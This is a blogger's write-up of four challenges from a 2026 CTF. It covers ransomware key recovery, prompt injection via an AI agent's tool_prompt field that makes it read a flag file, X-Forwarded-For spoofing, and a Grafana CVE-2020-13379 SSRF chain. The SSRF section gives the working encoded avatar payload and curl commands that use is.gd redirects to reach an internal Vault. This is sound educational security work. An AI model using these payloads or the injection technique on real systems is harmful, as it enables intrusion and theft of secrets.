June 24, 2026
My CloudSEK CTF 2026 Experience
The CloudSEK Women’s Hiring CTF 2026 was a 48 hours, multi-category competition covering ransomware analysis, OSINT, web exploitation, and…

By Cinchana S
9 min read
The CloudSEK Women's Hiring CTF 2026 was a 48 hours, multi-category competition covering ransomware analysis, OSINT, web exploitation, and AI security. This post documents the three challenges I solved, the fourth I partially worked through, and the technical lessons each one surfaced. I solved 3 of 4 challenges within the CTF window; the fourth I completed as a post-competition exercise and have documented in full here.
Challenge 1 — Ransomware (50 points)
Flag: CloudSEK{Flag_1_0ps3c_1s_h4rd3r_th4n_cryp70}
Category: Ransomware / OSINT / Cryptography
A new listing on the OBSIDIAN HALO leaks portal claims a major breach, supported by leaked sample data, negotiation fragments, and a ransom note recovered from the compromised system. The sample data includes financial transactions and PII, indicating access to both operational and internal systems. Examine the provided ZIP archive from the compromised environment and analyze its contents to extract key artifacts.
The challenge presented a ZIP archive from a simulated compromised environment. Listing the contents revealed two files: Warning.txt (ransom note) and flag.txt.halo (encrypted file).
A hexdump of the encrypted file showed 64 bytes total — a 16-byte IV followed by 48 bytes of AES ciphertext (three blocks, PKCS7 padding).
The ransom note directed victims to Telegram channel @obsidian_halo_leaks and provided Victim ID ARV-7F3A-9B2E — the key material for per-victim encryption.
Following the Telegram link led to a dark web leak marketplace listing. A browser tab visible in the listing's screenshot identified a Docker Hub image: haloreaper/halo-decryptor-encryptor:v2.3.
Since the image was ARM64-only, crane was used to export the filesystem without a Docker daemon, extracting the Python source files directly.
The decryptor source revealed the key derivation: SHA256(MASTER_KEY + victim_id), with the master key hardcoded as h4l0_r34p3r_2026_prod_v2.
The critical section of decryptor.py — master key hardcoded, key derived as SHA256(MASTER_KEY + victim_id).
AES-256-CBC decryption using IV from first 16 bytes of the .halo file.
Running the recovered decryptor with the known Victim ID produced the flag.
Decryption successful — flag retrieved.
Key finding: The cryptographic implementation was sound. The operational failure was storing the master key in a public Docker image. The flag text makes this explicit — OPSEC failures outpace cryptographic ones in most real-world breaches.
Challenge 2 — MeetAssist AI (100 points)
Flag: CloudSEK{Flag_2_4g3nt_t00l_p01s0n1ng_r34d_4nyt41ng}
Category: Web + AI Security
There are two vulnerabilities in the world: one human, one AI. Galgotias Company has an interesting public swagger. Explore the APIs at http://15.206.47.5:8080/docs
This challenge exposed two layered vulnerabilities in a meeting assistant API: a Broken Object Level Authorization (BOLA) issue and an AI agent tool poisoning attack.
Step 1 — Register and authenticate: A new account was registered and a Bearer JWT token obtained.
Step 2 — Enumerate meetings and tools: Listing all meetings returned 7 results. Listing tools revealed two agent capabilities: store_tool (writes MOM documents to the filesystem) and read_tool (reads files by path).
Vulnerability 1 — BOLA: Iterating meeting IDs and summarising each one revealed Meeting 0004 ("Internal Tools Discussion"), whose AI-generated summary leaked a reference to an internal endpoint: /api/internal/fs/browse. This endpoint was never access-controlled.
Browsing the endpoint exposed four server directories.
The aaa directory contained 151 files — 150 decoys all sized exactly 39 bytes, and one outlier.
Vulnerability 2 — AI Tool Poisoning: Attempting to read the file directly returned an error.
The breakthrough: the tool_prompt field in /api/moms/store was passed directly to the AI as an instruction when tool_name=store_tool. Embedding a secondary instruction to call read_tool on the flag file caused the agent to execute both operations, returning the flag in the response.
Root cause: The application validated which tool the agent called, but not whether the agent's instructions were legitimate. User-controlled input in tool_prompt was treated as a trusted instruction. In agentic AI systems, the boundary between instruction context and data context must be enforced explicitly.
Challenge 3 — DevSecOops, Part I (100 points)
Flag: CloudSEK{Flag_3_r3qu3st!ng_fr0m_!nt3rn@l_gr@f@n@}
Category: Threat Intelligence / Web / API
What began as an unremarkable observation in a routine mobile application review (https://bevigil.com/report/com.jotbox.app) quickly raised a more concerning question: How much of an organization's internal engineering surface can be inferred from what its employees unknowingly ship to the outside world? Small pieces of operational metadata often survive deployments, migrations, and rushed fixes. Individually they appear insignificant. Collectively they can reveal assumptions, dependencies, and trust relationships that were never meant to be externally explored.
This challenge demonstrated how individually minor information leaks chain into a complete attack path.
Step 1 — Mobile application analysis: The challenge pointed to a BeVigil security report for the Android app com.jotbox.app. The report surfaced leaked artifacts in the APK's static resources.
Step 2 — GitLab OSINT: Following the GitLab hostname led to a developer profile. The primary repository was private, but the public activity feed showed recent project joins including an observability-platform group. A commit diff in a Grafana test file leaked an internal IP, port, access restriction, and the flag file path.
A separate commit message leaked the staging Grafana URL directly.
Step 3 — Access control bypass: Direct access to the flag endpoint returned 403. The Grafana health endpoint confirmed the second service.
The service on port 9090 enforced IP-based access control using the X-Forwarded-For header — which is user-controlled and trivially spoofed.
Other headers tested (X-Real-IP, True-Client-IP, Client-IP) returned 403, confirming the application specifically trusted only X-Forwarded-For.
Key finding: X-Forwarded-For must never serve as the sole access control mechanism. Network-layer enforcement or mTLS is the only reliable defence. The GitLab activity feed is also a frequently overlooked OSINT vector — a deleted or private repository does not erase public profile activity.
Challenge 4 — DevSecOops, Part II (completed post-competition)
Flag: CloudSEK{Flag_4_cv3_2020_13379_ssrf_ch41n_t0_v4ult_1628628edd1095a}
Category: Threat Intelligence / Web / API
I did not complete this challenge during the competition — the clock ran out after I confirmed the SSRF but before I cracked the scheme-lock failure. I went back after the CTF ended and worked through the full chain. The flag is real; the points are not on the board. I'm including it here because understanding why an exploit works is worth documenting regardless of the timestamp.
Part II continued on the same infrastructure from Part I, this time targeting the Grafana instance on port 5000.
Step 1 — Version fingerprinting without logging in: Grafana injects a JavaScript object called window.grafanaBootData into every page — including unauthenticated ones. Viewing page source revealed this inside settings.buildInfo:
"buildInfo": {
"version": "7.0.1",
"commit": "ef5b586d7d",
"edition": "Open Source",
"env": "production",
"hasUpdate": true,
"latestVersion": "10.2.3"
}"buildInfo": {
"version": "7.0.1",
"commit": "ef5b586d7d",
"edition": "Open Source",
"env": "production",
"hasUpdate": true,
"latestVersion": "10.2.3"
}Version 7.0.1, openly admitting it's ancient and unpatched. No fuzzing, no scanner — it's sitting in the HTML.
Step 2 — CVE-2020–13379: A search for "Grafana 7.0.1 unauthenticated CVE" returns CVE-2020–13379 immediately — an unauthenticated SSRF in Grafana's /avatar/ endpoint, affecting all versions below 7.0.2. The bug is a two-parser problem: the URL validator and the URL fetcher interpret the same string differently. A path traversal (/../) embedded in the d= parameter tricks the validator while the fetcher resolves it and makes the actual request:
/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F<target>/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F<target>Sanity-checked against example.com first — response was 528 bytes of actual HTML, not a JPEG. SSRF confirmed live.
Step 3 — Hitting the port wall: While reviewing the GitLab repository earlier, an issue titled "Grafana can reach vault secrets without credentials" had its description edited — the old title text was still visible in the activity log: vault-proxy at http://vault-proxy.local:8100 auto-authenticates any request from the same network. Confirmed internal target.
Pointing the SSRF directly at vault-proxy.local:8100 returned 1486 bytes — the default Grafana fallback JPEG. Nothing. Rather than blindly trying encodings, a controlled three-point diagnostic:
/../example.com→ example.com HTML ✅ (528 bytes) — works/../example.com:443→ example.com HTML ✅ (528 bytes) — works/../example.com:80→ Grafana fallback JPEG ❌ (1486 bytes) — fails
The pattern is clear: port 443 (HTTPS) succeeds, port 80 (plain HTTP) fails. The SSRF is locking the scheme to https:// regardless of what port is specified.
Root cause: the SSRF primitive locks the scheme to https:// regardless of port. The vault proxy expected plain HTTP on port 8100 and received a TLS handshake instead — silent failure, Grafana falls back to its avatar JPEG. The 1486-byte response is the diagnostic tell.
Step 4 — Redirect bypass: Grafana follows HTTP redirects, and the HTTPS constraint only applies to the first hop. If the first request lands on something that responds with 302 Location: http://vault-proxy.local:8100/..., Grafana follows it using the scheme from the Location header. A URL shortener (is.gd) served as the intermediary — clean HTTPS on port 443 as the first hop, plain HTTP to the vault on the second.
Validated with a safe target first:
# Create shortlink → http://example.com/
curl -s "https://is.gd/create.php?format=simple&url=http://example.com/"
# → https://is.gd/O9fSvp
# Fire through SSRF
curl -s -i "http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fis.gd%252FO9fSvp"
# Response: example.com HTML ✅# Create shortlink → http://example.com/
curl -s "https://is.gd/create.php?format=simple&url=http://example.com/"
# → https://is.gd/O9fSvp
# Fire through SSRF
curl -s -i "http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fis.gd%252FO9fSvp"
# Response: example.com HTML ✅Redirect chain confirmed working end to end.
Step 5 — Getting into Vault:
# Shortlink → http://vault-proxy.local:8100/v1/sys/health
curl -s "https://is.gd/create.php?format=simple&url=http://vault-proxy.local:8100/v1/sys/health"
# → https://is.gd/boHD5J
curl -s -i "http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fis.gd%252FboHD5J"# Shortlink → http://vault-proxy.local:8100/v1/sys/health
curl -s "https://is.gd/create.php?format=simple&url=http://vault-proxy.local:8100/v1/sys/health"
# → https://is.gd/boHD5J
curl -s -i "http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fis.gd%252FboHD5J"Response: Vault health JSON — initialized: true, sealed: false. The vault-proxy auto-authenticated the request because it came from Grafana's host inside the trusted network perimeter. Full unauthenticated API access.
Step 6 — Enumerating and reading the secret:
# List keys under secret/metadata/
# → {"data": {"keys": ["flag-6d6012d"]}}
# Read the secret
# → {"data": {"data": {"value": "CloudSEK{Flag_4_cv3_2020_13379_ssrf_ch41n_t0_v4ult_1628628edd1095a}"}}}# List keys under secret/metadata/
# → {"data": {"keys": ["flag-6d6012d"]}}
# Read the secret
# → {"data": {"data": {"value": "CloudSEK{Flag_4_cv3_2020_13379_ssrf_ch41n_t0_v4ult_1628628edd1095a}"}}}Key findings: Any SSRF that follows redirects can be escalated from "reach HTTPS on port 443" to "reach arbitrary HTTP on arbitrary internal ports" with a single public redirector in between. Network perimeter trust — auto-authenticating requests based on source address — collapses the moment any internal host has an SSRF vulnerability. Explicit token-based authentication on every internal service is the only reliable defence.
The lesson I took from missing this during the competition: isolate one variable before varying anything else. The :80 vs :443 comparison takes 30 seconds and immediately reveals the scheme-lock root cause. I wasted time on encodings instead.
Observations on Challenge Design
Decoys are deliberate. The JWT credential in the JotBox app and the 150 same-sized files in the aaa directory were both intentional rabbit holes. The fastest path required recognising them early.
Diagnostic discipline beats payload variety. When the SSRF to port 8100 failed, trying different encodings is the wrong response. Varying only one variable at a time — same host, different port — isolates the root cause in minutes.
GitLab activity feeds are underused as OSINT vectors. A deleted or private repository stops most people. The user's public activity feed does not — it shows project joins across entirely different namespaces.
Grafana's bootData is a free version fingerprint. Full build version sits in the unauthenticated page HTML. No login, no scanner, no banner grabbing required.
Reflection
Finishing 9th with 250 points — tied with six others, separated by solve time — is an honest result. I was working through challenges in the final hours while others had already stopped. Speed is a real skill and one I intend to improve.
The fourth challenge I completed after the CTF ended. That flag doesn't appear on the leaderboard, but the process of going back, isolating the scheme-lock root cause, designing the redirect bypass, and working through each Vault enumeration step was more instructive than if I'd stumbled onto it under pressure. Writing it up properly — all four challenges, including the one the clock took from me — is the point of this post.